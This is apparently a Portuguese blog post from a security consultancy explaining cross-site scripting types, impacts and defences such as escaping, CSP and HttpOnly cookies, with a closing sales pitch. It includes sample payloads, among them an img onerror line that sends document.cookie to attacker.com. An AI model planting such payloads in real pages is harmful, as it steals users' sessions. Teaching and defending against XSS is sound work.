Voltar ao Blog
Vulnerabilidades

XSS (Cross-Site Scripting): Como Empresas São Comprometidas por Falhas no Frontend

XSS continua sendo uma das vulnerabilidades mais exploradas da web moderna. Entenda os tipos de XSS, impactos reais e como proteger aplicações corretamente.

Lucca Lo Presti
11/05/2026
18 min
XSSCross-Site ScriptingOWASPPentestCybersecurityWeb SecurityJavaScript
XSS (Cross-Site Scripting): Como Empresas São Comprometidas por Falhas no Frontend
RESPOSTA DIRETA

O que é XSS (Cross-Site Scripting)?

XSS é uma vulnerabilidade que permite que atacantes injetem scripts maliciosos (geralmente JavaScript) em páginas web visualizadas por outros usuários. Isso pode resultar em roubo de cookies/sessões, redirecionamentos maliciosos, ou ações não autorizadas em nome da vítima.

XSS (Cross-Site Scripting) continua sendo uma das vulnerabilidades mais comuns encontradas em aplicações web modernas.

Apesar de muitos desenvolvedores associarem XSS apenas a um simples alert(1), na prática essa vulnerabilidade pode permitir roubo de sessões, comprometimento de contas, execução de ações em nome do usuário e até controle parcial da aplicação.

Em diversos pentests modernos, falhas de XSS continuam aparecendo em painéis administrativos, plataformas SaaS, CRMs, aplicações financeiras e sistemas internos.

Por que XSS ainda é tão perigoso?
  • Executa código diretamente no navegador da vítima
  • Pode comprometer sessões autenticadas
  • Frequentemente afeta usuários administrativos
  • É extremamente comum em aplicações modernas
  • Pode ser combinado com outras vulnerabilidades

O Que é XSS?

XSS ocorre quando uma aplicação renderiza dados controlados pelo usuário sem realizar escape ou sanitização adequada.

Isso permite que código JavaScript seja executado diretamente no navegador da vítima.

Na prática, o navegador interpreta o payload injetado como parte legítima da aplicação.

O Problema Vai Muito Além de alert(1)

Durante testes de segurança, o payload alert(1) normalmente é utilizado apenas como prova de conceito.

O impacto real geralmente envolve:

  • Roubo de sessão autenticada
  • Execução de ações em nome da vítima
  • Captura de tokens JWT
  • Bypass parcial de MFA
  • Phishing dentro da própria aplicação
  • Comprometimento de painéis administrativos

Exemplo Real Encontrado em Aplicações

Um cenário extremamente comum envolve funcionalidades de comentários, chats, tickets ou campos de perfil.


<div class="comment">
    {{ userComment }}
</div>

Se a aplicação renderizar conteúdo sem escape adequado, um atacante pode injetar:


<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">
    

Quando outro usuário visualizar a página, o navegador executará automaticamente o payload.

Os Principais Tipos de XSS

1. Reflected XSS

O payload é enviado na requisição e refletido imediatamente pela aplicação.

Exemplo comum


https://site.com/search?q=<script>alert(1)</script>
    

Esse tipo normalmente depende de engenharia social, phishing ou envio de links maliciosos.


2. Stored XSS

O payload é armazenado permanentemente pela aplicação.

Esse é um dos cenários mais perigosos, porque qualquer usuário que acessar a página vulnerável executará automaticamente o payload.

Locais comuns

  • Comentários
  • Chats
  • Sistemas de ticket
  • Perfis de usuário
  • Painéis administrativos

3. DOM-Based XSS

Nesse caso, a vulnerabilidade existe inteiramente no frontend.


const name = location.hash.substring(1);

document.getElementById('output').innerHTML = name;
    

Um atacante pode explorar:


https://site.com/#<img src=x onerror=alert(1)>
    

DOM XSS é extremamente comum em aplicações SPA modernas.

Impactos Reais de XSS

  • Roubo de cookies
  • Sequestro de sessão
  • Execução de ações administrativas
  • Exposição de tokens JWT
  • Captura de credenciais
  • Pivoting interno
  • Phishing avançado
  • Persistência dentro da aplicação

Por Que Aplicações Modernas Continuam Vulneráveis?

Mesmo frameworks modernos ainda apresentam riscos quando utilizados incorretamente.

Problemas encontrados frequentemente

  • Uso inseguro de innerHTML
  • Uso de dangerouslySetInnerHTML no React
  • Renderização de markdown inseguro
  • Sanitização parcial
  • Dependência excessiva do frontend
  • Bibliotecas vulneráveis

Como Prevenir XSS Corretamente

1. Escape de Output

A principal defesa contra XSS continua sendo escape contextual adequado.

❌ Vulnerável

element.innerHTML = userInput;
        
✅ Seguro

element.textContent = userInput;
        

2. Evitar innerHTML Sempre que Possível

Grande parte dos DOM XSS encontrados em aplicações modernas envolve uso inseguro de innerHTML.


3. Implementar CSP (Content Security Policy)

CSP reduz significativamente impacto de XSS.


Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
    

CSP não substitui sanitização, mas adiciona uma camada extremamente importante de proteção.


4. Cookies com HttpOnly

Cookies HttpOnly ajudam a reduzir roubo de sessão via JavaScript.


Set-Cookie:
session=abc123;
HttpOnly;
Secure;
SameSite=Strict
    

5. Sanitização de HTML

Quando HTML controlado pelo usuário for realmente necessário, utilize bibliotecas confiáveis de sanitização.

  • DOMPurify
  • sanitize-html
  • OWASP Java HTML Sanitizer

Ferramentas Utilizadas para Testes de XSS

  • Burp Suite Professional
  • OWASP ZAP
  • XSStrike
  • Dalfox
  • Caido

Checklist de Proteção Contra XSS

  • [ ] Outputs utilizam escape contextual
  • [ ] Aplicação evita innerHTML
  • [ ] CSP implementado
  • [ ] Cookies utilizam HttpOnly
  • [ ] Inputs são validados
  • [ ] HTML é sanitizado corretamente
  • [ ] Frameworks atualizados
  • [ ] Pentests realizados regularmente

Conclusão

XSS continua extremamente presente em aplicações modernas, principalmente em sistemas complexos, aplicações SPA, painéis administrativos e plataformas SaaS.

Em muitos casos, o problema não está relacionado à ausência total de proteção, mas sim a pequenos pontos inseguros espalhados pela aplicação.

Segurança contra XSS exige validação contínua, revisão de código e entendimento profundo de como o frontend manipula dados controlados pelo usuário.

Precisa Avaliar a Segurança da sua Aplicação?

A LoPrestiSec realiza Pentest Web, Code Review e avaliações focadas em vulnerabilidades modernas, incluindo XSS Stored, DOM-Based XSS e falhas avançadas de frontend.

  • Pentest Web
  • Code Review
  • API Security
  • Cloud Security Assessment
  • Threat Modeling

Entre em contato para avaliar a segurança da sua aplicação.


❓ Perguntas Frequentes

Tire suas principais dúvidas

Existem três tipos principais: (1) Reflected XSS - o script malicioso vem da requisição HTTP atual, (2) Stored XSS - o script é armazenado no servidor (mais perigoso), (3) DOM-based XSS - a vulnerabilidade está no código JavaScript do lado do cliente.
Teste inserindo payloads comuns como <script>alert('XSS')</script> em campos de input. Se o alert executar, há vulnerabilidade. Para testes completos, recomenda-se pentest profissional com ferramentas especializadas.
CSP é uma camada adicional de proteção muito eficaz contra XSS, mas não é 100% à prova de falhas. Deve ser usado em conjunto com sanitização de inputs e encoding de outputs.

Ainda tem dúvidas? Entre em contato conosco através do formulário de contato ou pelo WhatsApp.

Última atualização: 11/05/2026
Autor: Lucca Lo Presti - Especialista em Segurança Ofensiva

Precisa de Ajuda Profissional em Segurança?

A LoPrestiSec oferece serviços completos de pentest, consultoria em segurança e adequação à LGPD. Mais de 200 empresas confiam em nossos serviços.

Entre em Contato →